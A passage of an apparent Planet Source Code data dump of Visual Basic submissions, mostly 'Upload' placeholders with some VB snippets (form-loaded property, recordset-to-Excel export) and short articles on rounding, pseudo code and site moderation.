503.58</pre>\nWhich one is nearer from unrounded result? The \"Gaussian\" one\n(Difference of 0.0042 with \"Gaussian/Banker\" and 0.0058\nwith \"Standard\" rounding.)\nAnother example with half-round cases only:\n<pre>\n 1 digit 1 digit\nUnrounded \"Standard\" Rounding \"Gaussian rounding\"\n 27.25 27.3 27.2\n 27.45 27.5 27.4 \n+ 27.55 + 27.6 + 27.6\n======= ====== ====== \n 82.25 82.4 82.2</pre>\nAgain, the \"Gaussian\" rounding result is nearer from the\nunrounded result than the \"Standard\" one.\nRen├⌐ Rh├⌐aume \nrener@moncourrier.com\n<hr width=\"95%\" size=\"2\" align=\"center\" />\nRd."},{"WorldId":1,"id":51988,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51990,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51993,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52005,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52009,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52011,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52019,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52022,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52032,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52039,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52051,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52055,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52061,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52063,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52065,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52098,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52099,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52100,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52104,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52105,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52128,"LineNumber":1,"line":"Simply download the aritle, and come to www.crackingislife.com for more. I releasing this code as a demo of my skills if you wanna offer me a job feel free to do so :)\n"},{"WorldId":1,"id":52133,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52141,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52142,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52164,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52166,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52167,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52178,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52179,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52186,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52190,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52193,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52196,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52199,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52200,"LineNumber":1,"line":"While b\n 'It is better if you get the hwnd value beforehand so you\n 'do not have to ask the vb dll for it each and every time\n DoMyEvents (Me.hWnd) 'Endless loop\n 'If you want other window to be processed\n 'then you need to DoMyEvents () with their HWND\n 'That is why you cannot pause the ide window\n 'when your in this loop.\nWend\n"},{"WorldId":1,"id":52204,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52206,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52207,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52220,"LineNumber":1,"line":"Just simple arithmatic can give different values in IDE-mode ore EXE-mode. \nInsert this piece of code into a module and call the function IsIde. it will return true if the programm is running in IDE-mode and false if running in EXE-mode (Compiled). \nTake a look at the code and find out if this is an error or not. \n<PRE>\nOption Explicit\nPrivate Test As Long\nPublic Function IsIde() As Boolean\n Test = 4\n Test = (Test + 1 + GetVal)\n If Test = 9 Then IsIde = True\n'Test will give 9 if IDE and 10 if EXE\n'This can be done with any initial value but ofcourse you get other results\nEnd Function\nPrivate Function GetVal() As Long\n GetVal = 4\n Test = Test + 1\nEnd Function\n</PRE>"},{"WorldId":1,"id":52227,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52237,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52248,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52254,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52262,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52266,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52267,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52281,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52285,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52287,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52288,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52303,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52309,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52316,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52317,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52318,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52322,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52324,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52325,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52354,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52355,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52362,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52366,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52374,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52375,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52379,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52385,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52388,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52391,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52400,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52401,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52403,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52415,"LineNumber":1,"line":" \n \n Ever want to check to see if a form is loaded before you try to access it? \n The only way I know of (other than this way) is to loop through the form collection... \n a rather large pain in the rear. \n The trick is to create a new form property. \n \n Add the following code to any form:\n<blockquote> \n \n Option Explicit \n \n ' Create a new property variable \n Dim m_bLoaded \n As Boolean \n ' get the value of the new property \n Public Property Get Loaded() \n As Boolean\n <blockquote> \n Loaded = m_bLoaded\n </blockquote>\n End Property\n ' set the value of the new property \n Public Property Let Loaded(ByVal \n bLoaded As Boolean)\n <blockquote> \n m_bLoaded = bLoaded\n </blockquote>\n End Property\n \n Private Sub Form_Load()\n <blockquote> \n ' set the loaded property to true \n Me.Loaded = True\n </blockquote>\n End Sub\n Private Sub Form_Unload(Cancel \n As Integer)\n <blockquote> \n ' set the loaded property to false \n Me.Loaded = False\n </blockquote>\n End Sub \n</blockquote>\n \nNow, form any other form or module, you can do this (assume you are using the \n default form name)\nIf Form1.Loaded = True Then\n<blockquote>\n MsgBox "Form is loaded"\n</blockquote>\n Else\n<blockquote>\n MsgBox "Form is not loaded"\n</blockquote>\n End If\n \n Accessing this property will not cause the form to load in the event that loaded \n is false. \n However, if you make a single variable and make it public on the form, and try \n to access it, the form will load. \n You can actually use this property method to retain any data and access it without \n reloading hte form. \n I created a custom input box field in which the "Return String" is \n a custom property, like the loaded property. \n then I just do this:\n<blockquote>\n Form1.show 1, me ' (show my new form \n modal) \n strInput = Form1.strInput '(this \n will not cause the form to reload provided your property is called strInput!)\n</blockquote>\ngive it a shot, let me know if you have any problems. \n"},{"WorldId":1,"id":52416,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52425,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52434,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52436,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52442,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52444,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52453,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52454,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52464,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52477,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52478,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52485,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52489,"LineNumber":1,"line":"you'll love it, please vote"},{"WorldId":1,"id":52490,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52495,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52497,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52500,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52502,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52504,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52506,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52515,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52536,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52539,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52554,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52555,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52577,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52601,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52615,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52624,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52629,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52634,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52635,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52639,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52640,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52644,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52651,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52656,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52665,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52666,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52672,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52677,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52715,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52716,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52718,"LineNumber":1,"line":"This is an article concerning Planet Source Code. It has been my observation, and the voicing of so many, that this site is over loaded with repeat, after repeat, after repeat, AND has been abused with dribble. I have also noticed that the main page of the site STILL has the poll, ΓÇÿWould you like to pay money for a non-kiddy site??ΓÇÖ As the answer goes for most, ΓÇÿI would love a less kiddy site, but I donΓÇÖt want to payΓÇÖ. Well I donΓÇÖt blame you, no matter where you live I am sure someone is getting their fare share of your money. The last thing you want to do is share to get the exchange of ideas we originally give away for free.\nOk, so we hit on the money issue. LetΓÇÖs put together some points, I am sure some of us have some practical business experience. First, there are advertisements all over this site. The main page has been recently updated with a grand flash video from whom else but Microsoft. There are numerous ads placed in banner, and footer locations, optimized for both content and location. Note most ad locations concentrate on the ticker, and horizon line of the first view of each page. DonΓÇÖt get me wrong, I am not against the site making a profit with the sale of advertising, thatΓÇÖs a solid plan with a niche market of possibly deep pocketed, technology inclined individuals. It is a little ridiculous to think a premium would make this site any better, rather it would limit the advertising and member base.\nNext comes the kiddy, cut and paste, and whatever else you donΓÇÖt like. It seems to me there is a simple and effective solution for all parties involved. All members will be allowed to post code, review, and vote as usual, however if your code does not receive a specified number of votes it will be deleted from the database. There are many variations of this concept, such as a time based deletion method. The first point, and I would hope most useful to the proprietor of this site, is the benefit of less infrastructure, less cost to maintain the site, and more room for expansion in other areas. Second is the benefit to the users. The code will be filtered for all users, by the users. This is great for newbies; they can get useful, quality code to learn from. Next is the benefit to the experienced user, searching for the right fix to their issue. Their searches will be faster, and more concise, saving time and hours breaking into new concepts and processes. I am sure any number of the current user base would write or consult on such a project. How could this not benefit all?\nNext is the voting process. Again in my observations I have noticed quite an abnormality in the voting process of this sites users. Of course this is just my opinion but I have seen some fine code come through here, high quality, easy to use and understand, a real pleasure to have. HereΓÇÖs the kicker, it gets no votes, none. What is with that? Is there some kind of stash or balance of votes you can use and when they are gone you donΓÇÖt get anymore??? On mIRC they call that a leech, you take without giving. Even if the code is awful, too many go by without even leaving a comment. So many times you will see some graphical clich├⌐ of an application take the monthly prize for pizzazz. I thought this was a code site, not a graphics contest and nothing more. There are complete applications coming through here with all the code snippets you could need, on so many topics its ridiculous. A complete application will most likely have something you may find interesting or useful. It may be you donΓÇÖt want to look at a complete app, as you would have to locate what youΓÇÖre looking for; or it may be something else. My main point is that too many submissions go thorough without a second look or even a comment. If you donΓÇÖt like it, let the author know their code is not good enough for your standards. All of us need to make a better habit of letting our fellow coders know how we feel about their code, good or bad.\nNext comes one of the most annoying, and will get you a bad rating, Commenting. Comment, comment, comment. There is no other way to put this, if you do not comment your code it is useless. Many languages support dynamic variable names, objects, and processes. If you donΓÇÖt comment the code is not understandable. Comment every line if there is something that is not blatantly obvious going on i.e. x = x + 1. If there is anything going on with another object you MUST comment on what you are telling the process to do, and what type of return you expect to receive. IF YOU EVER EXPECT TO BE TAKEN SERIOUSLY, OR MAKE MONEY, OR MAKE QUALITY APPLICATIONS, OR MAKE MAINTAINABLE, UPDATEABLE, OR LIFE CYCLE APPLICATIONS ***YOU MUST COMMENT***. I am sick of saying it, so are others, and you are nothing but an amateur, hobbyist newbie, and your code is a waste of time and resources. To make things a little more poignant you need to format your code, when you step into an if, select, do, with, or any other enclosure you MUST tab. This will make your code so much easier to read, and with your new comments, who knows you may get enough votes to have your immortalized on PSC.\nLast is the case of avatars, you know the picture of the author or logo that pops up at the top of the page next to the code information. Ok, read the rules but your avatar may not be above a certain size. The last thing I want to see is a big 8 x 10 of you ugly mug on my screen, I have personally pointed this out to some but they persist with 500k images of their connect-the-dot face. Also, there are avatars of MSPaint drawn images, scribbles, or artwork the quality of kindergartners. Take some pride in yourself people; you are representing yourself, and something you think you have a talent for. Take pride that this is your work, show off a logo, of something that represents you or what you stand for. This is a small stage, present a good show, you may find people taking you more serious already.\nIt seems to me the proprietor has put the automated scripts to work and has set us free. If we are to make and keep this site the best it can be then we need to do it ourselves. I like it here too much to think that I could not come and get ideas, code, and more. If they make this a pay site it would no longer be accessible to many, we need to keep them and future generation here. VB and C have both stepped into the next century with the .Net standards, and many of the other languages here are adapting, or changing to meet the current needs. This site and the users can make this a viable, and techie friendly place with very little effort from all, if we each contribute a little.\n"},{"WorldId":1,"id":52723,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52727,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52729,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52730,"LineNumber":1,"line":"10 CODING HABITS TO REMEMBER\n \n1. ALWAYS use INTERNATIONAL ENGLISH variable names, and ALWAYS comment in INTERNATIONAL ENGLISH\n \n2. NEVER use native functions for critical operations, actually try avoiding using native functions at all, because of their lack of control, speed and stability.\n \n3. ALWAYS try to incooporate as much OOP(Object Orientated Programming) as possible into your code.\n \n4. NEVER use databases if it can be avoived, because they require certain components that are not always installed.\n \n5. ALWAYS have a design for your project and a step-by-step procedure for your algorithms.\n \n6. NEVER try to start a project that is alike the one you just failed.\n \n7. ALWAYS keep your code from failed projects, because even though they are failed, they might still be usefull.\n \n8. NEVER copy parts of others code you do not understand since they are always to blame when there are errors.\n \n9. ALWAYS remember how to count binary on your fingers since they might come handy at anytime when dealing with computers.\n \n10. NEVER try to do something, but ALWAYS do something! Because most projects fails, not because of lack of experience but because of lack of moral.\n \n- Julian"},{"WorldId":1,"id":52731,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52732,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52737,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52739,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52740,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52750,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52751,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52753,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52755,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52756,"LineNumber":1,"line":"Microsoft released Service Pack 6 for Visual Studio 6, download the latest(and final) service pack if you have VS6/VB6 installed.\n<h3>Official Page</h3>\nhttp://msdn.microsoft.com/vstudio/downloads/updates/sp/vs6/sp6/default.aspx \n<h3>List of Fixes</h3>\nhttp://support.microsoft.com/default.aspx?scid=kb;en-us;834001\n<h3>Direct Download</h3>\nhttp://download.microsoft.com/download/1/9/f/19fe4660-5792-4683-99e0-8d48c22eed74/Vs6sp6.exe\nI cant add links so your going to have to cut and paste."},{"WorldId":1,"id":52763,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52772,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52775,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52778,"LineNumber":1,"line":"Installer:\nhttp://osdn.dl.sourceforge.net/sourceforge/bsoftplayer/bspsetup4b5.exe\nSource Code:\nhttp://osdn.dl.sourceforge.net/sourceforge/bsoftplayer/BSoftPlayer4b5.zip\nIt is recommended that you use the installer to install the correct controls before using the source code."},{"WorldId":1,"id":52781,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52788,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52793,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52802,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52803,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52806,"LineNumber":1,"line":"Public Function SaveRecordsetAsExcelFile(ByRef SourceRecordset As ADODB.Recordset, _\n ByVal ExcelFileName As String, _\n ByVal WorksheetName As String) As Boolean\n \n 'Don't forget to add reference to Microsoft ADO 2.8 and ADOX 2.8 Libraries\n \n Dim cnnExcel As ADODB.Connection\n Dim catExcel As ADOX.Catalog\n Dim tblWorksheet As ADOX.Table\n Dim rstExcelData As ADODB.Recordset\n Dim fldColumnHeader As ADODB.Field\n Dim strWkshtName As String\n On Error GoTo EH_SaveRecordsetAsExcelFile\n \n 'Create Excel file and worksheet\n Set cnnExcel = New ADODB.Connection\n Set catExcel = New ADOX.Catalog\n Set tblWorksheet = New ADOX.Table\n cnnExcel.CursorLocation = adUseClient\n cnnExcel.Provider = \"Microsoft.Jet.OLEDB.4.0\"\n cnnExcel.Properties(\"Extended Properties\") = \"Excel 8.0\"\n cnnExcel.Open \"Data Source = \" & ExcelFileName\n Set catExcel.ActiveConnection = cnnExcel\n tblWorksheet.Name = WorksheetName\n For Each fldColumnHeader In SourceRecordset.Fields\n tblWorksheet.Columns.Append fldColumnHeader.Name, fldColumnHeader.Type\n Next 'fldColumnHeader\n catExcel.Tables.Append tblWorksheet\n Set tblWorksheet = Nothing\n Set catExcel = Nothing\n Set cnnExcel = Nothing\n 'Fill worksheet with data\n Set cnnExcel = New ADODB.Connection\n Set rstExcelData = New ADODB.Recordset\n With cnnExcel\n .CursorLocation = adUseClient\n .Provider = \"Microsoft.Jet.OLEDB.4.0\"\n .Properties(\"Extended Properties\") = \"Excel 8.0\"\n .Open ExcelFileName\n strWkshtName = \"[\" & WorksheetName & \"$]\"\n With rstExcelData\n Set .ActiveConnection = cnnExcel\n .CursorLocation = adUseClient\n .CursorType = adOpenDynamic\n .LockType = adLockOptimistic\n .Source = strWkshtName\n .Open\n End With 'rstExcelData\n With SourceRecordset\n .MoveFirst\n Do While Not .EOF\n rstExcelData.AddNew\n For Each fldColumnHeader In .Fields\n rstExcelData.Fields(fldColumnHeader.Name) = fldColumnHeader 'insert value\n Next 'fldColumnHeader\n rstExcelData.Update\n .MoveNext\n Loop\n End With 'SourceRecordset\n .Close 'cnnExcel\n End With 'cnnExcel\n Set cnnExcel = Nothing\n Set rstExcelData = Nothing\n Set fldColumnHeader = Nothing\n \n SaveRecordsetAsExcelFile = True\n \nExit Function\nEH_SaveRecordsetAsExcelFile:\n SaveRecordsetAsExcelFile = False\n Set tblWorksheet = Nothing\n Set catExcel = Nothing\n Set cnnExcel = Nothing\n Set rstExcelData = Nothing\n Set fldColumnHeader = Nothing\nEnd Function\n\n"},{"WorldId":1,"id":52807,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52812,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52813,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52815,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52833,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52837,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52843,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52854,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52863,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52868,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52878,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52881,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52899,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52912,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52914,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52919,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52920,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52923,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52926,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52929,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52930,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52946,"LineNumber":1,"line":"<table width=\"90%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" align=\"center\">\n <tr> \n <td>Making Life Easier \n with Pseudo Code \n By: Dustin Davis (Programmers-Unlimited.com)</td>\n </tr>\n</table>\n \n<table width=\"90%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" align=\"center\">\n <tr> \n <td bgcolor=\"#003366\">Introduction</td>\n </tr>\n <tr> \n <td>Pseudo Code is not \n a programming language in specific, but it is a language specific to your \n native tongue (English, Spanish, etc.). It is a type of \"modeling\" \n tool that will be a great friend to you in future projects. By using non \n code specific terms and phrases, applications written in Pseudo Code can \n easily be understood by multiple developers, and if written well enough, \n can be used to translate applications to different platforms and programming \n languages. This means a great deal to anyone who has experience in developing \n on a tight time table. \n In basic terms, Pseudo Code is the english (or whatever) version of real code. Let's take a look at some Pseudo Code.</td>\n </tr>\n</table>\n \n<table width=\"90%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" align=\"center\">\n <tr> \n <td bgcolor=\"#003366\">Getting \n Started</td>\n </tr>\n <tr> \n <td> \n Getting started is \n the hard part as it requires that you have an idea that has been thought \n out. A word of advice is that you should never wait until you have 100% \n of your project worked out. If you do, you will most likely never start. \n For this article, we will design a simple program to emulate a Pay Phone.\n The first step we \n need to take is designing and overall general program flow. A Pay Phone \n is pretty easy to do as it does not have much to it. \n \n \n <table width=\"90%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" align=\"center\">\n <tr> \n <td bgcolor=\"#CCCCCC\"> \n <ul>\n <li>Wait for \n user</li>\n <li>Take money</li>\n <li>Take input</li>\n <li>Make call</li>\n </ul>\n </td>\n </tr>\n </table>\n Pretty simple eh? \n Like I said, not much to a Pay Phone. So now we have an overall general \n view of what we need to do, let's get moving with the next step. \n \n </td>\n </tr>\n</table>\n \n<table width=\"90%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" align=\"center\">\n <tr> \n <td bgcolor=\"#003366\">Breaking \n Down the Overall Process</td>\n </tr>\n <tr> \n <td>The next thing to do \n is go back over the overall general view that we created. We will take each \n step and break it down into working Pseudo Code. \n \n \"Wait for user\" \n This process could contain anything depending on the phone. Most phones \n are just dead, but some of the newer phone have LCD's that display all sorts \n of things. In this example, let's just make it simple \n \n \n <table width=\"90%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" align=\"center\">\n <tr> \n <td bgcolor=\"#CCCCCC\"> \n Function \"Wait \n for user\"\n <blockquote> \n Get Time \n Display Time On LCD \n \n Check For Input\n <blockquote> \n If coins \n are inserted, call \"Take money\" \n If buttons are pushed, call \"Take input\"\n </blockquote>\n </blockquote>\n End Function \n \"Wait for user\"\n </td>\n </tr>\n </table>\n \n wow, that's it?! Pretty much. Obviously, anyone who has ever worked with \n LCD's will know there are more steps involved in displaying the time on \n the screen, but that's the good part, and we will get to that later. \n On the first line, \n we define a function. Anyone who reads this will be able to tell that \n the following will be inside of the \"Wait for user\" function. \n On the following line, you will see \"Get Time\". This tells the \n reader that the code for getting the time will go in that spot, before \n \"Display Time On LCD\". We continue writing the parts of the \n function that it will contain. Notice that it's easy to read compared \n to code? This is the power of Pseudo Code.\n Using Pseudo Code, \n we have just created a template for our \"Wait for user\" function. \n This template will allow anyone to come back to it and fill it in with \n code of their choice. \n \"Take money\" \n , \"Take input\" \n Every Pay Phone has to take money and input. The functions are (in a general \n breakdown) very simple. \n \n <table width=\"90%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" align=\"center\">\n <tr> \n <td bgcolor=\"#CCCCCC\"> \n Function \"Take \n money\"\n <blockquote> \n Wait For \n Coin Insert \n \n Identify \n Coin\n <blockquote> \n If coin \n is invalid, return to change drop \n otherwise, increase users balance\n </blockquote>\n </blockquote>\n End Function \n \"Take money\"\n Function \"Take \n input\"\n <blockquote> \n Identify \n Button Pushed\n <blockquote> \n If invalid \n button (#,*) then return money and disconnect call \n If valid button, add digit to the phone number\n </blockquote>\n Check For \n a Valid Number\n <blockquote> \n If a \n valid number has been input, call \"Make call\" \n Otherwise, return change and disconnect call\n </blockquote>\n </blockquote>\n End Function \n \"Take input\"\n </td>\n </tr>\n </table>\n These functions are \n pretty simple and are no different from our \"Wait for user\" \n function. These functions are simply templates for later code insertion.\n \"Make call\" \n Our make call function will be a little bigger than the previous functions, \n let's dig in...\n <table width=\"90%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" align=\"center\">\n <tr> \n <td bgcolor=\"#CCCCCC\"> \n Function \"Make \n call\" \n \n <blockquote> \n Get Cost \n of Call\n <blockquote> \n If user \n has not inserted enough coins, tell them to insert the remaining \n balance, Call \"Take money\"\n </blockquote>\n Dial Number\n Wait For \n Connection\n <blockquote> \n If busy, \n return change to coin drop \n otherwise, store coins in bank\n </blockquote>\n Wait For \n Disconnect\n <blockquote> \n On disconnect, \n call \"Wait for user\"\n </blockquote>\n </blockquote>\n End Function \n \"Make call\"\n </td>\n </tr>\n </table>\n I just want to clarify \n that I am no phone technician and I know that there are many many more \n operations to a Pay Phone, but this is what we have for this article. \n Let's move on to the next section.\n </td>\n </tr>\n</table>\n \n<table width=\"90%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" align=\"center\">\n <tr> \n <td bgcolor=\"#003366\">Further \n Breakdown</td>\n </tr>\n <tr> \n <td> \n Now that you understand \n that Pseudo Code is crazy simple, let's get into some specifics. We will \n go back to our \"Wait for user\" function. We are going to modify \n it so that when you assign it to your programmer, he will understand exactly \n what you want.\n <table width=\"90%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" align=\"center\">\n <tr> \n <td bgcolor=\"#CCCCCC\"> \n Function \"Wait \n for user\"\n <blockquote> \n (start loop) \n Get Time \n Display Time On LCD \n - Scroll time from left to right \n - Format: HH:MM AM/PM \n \n Check For Input \n - Check coin drop for coin insert \n - Check keypad buffer for button push\n <blockquote> \n If coins \n are inserted, call \"Take money\" \n If buttons are pushed, call \"Take input\"\n </blockquote>\n (end loop)\n </blockquote>\n End Function \n \"Wait for user\"\n </td>\n </tr>\n </table>\n You think I'm a crazy person\n who's toying with you now, don't ya?! I'm serious, this is how easy Pseudo \n Code can be. You can modify your Pseudo code to look as you like, just \n keep in mind the readability for others (if any at all). \n </td>\n </tr>\n</table>\n \n<table width=\"90%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" align=\"center\">\n <tr> \n <td bgcolor=\"#003366\">Conclusion</td>\n </tr>\n <tr> \n <td> \n The power of Pseudo \n Code can be from 0 to unlimited. It all depends on you and your methods. \n Pseudo Code can scale the ease of transition from Pseudo Code to Real \n Code depending on how you use it. If you use more programming language \n specific articles, you will have an easier time porting it into real code. \n In most cases, Pseudo Code can be directly replaced with code with little \n to no extra thinking. \n \n I hope this article has been helpful and I hope it helps you to write \n better code. By using Pseudo Code, it can help see issues that would normally \n not be seen by looking at real code since you are reading it in your native \n tongue. \n \n Check out more articles like this on Programmers-Unlimited.com.\n </td>\n </tr>\n</table>\n"},{"WorldId":1,"id":52947,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52952,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52955,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52956,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52965,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52978,"LineNumber":1,"line":"\nSub SetStatus(Progressbar As Object, Percent As Integer, Optional Style As Integer, Optional Style2 As Integer)\n \n Progressbar.AutoRedraw = True\n Progressbar.Cls\n \n \n Progressbar.FontTransparent = True\n Progressbar.Tag = Percent\n Progressbar.ScaleWidth = 100\n Progressbar.ScaleHeight = 10\n Progressbar.DrawStyle = Style2\n 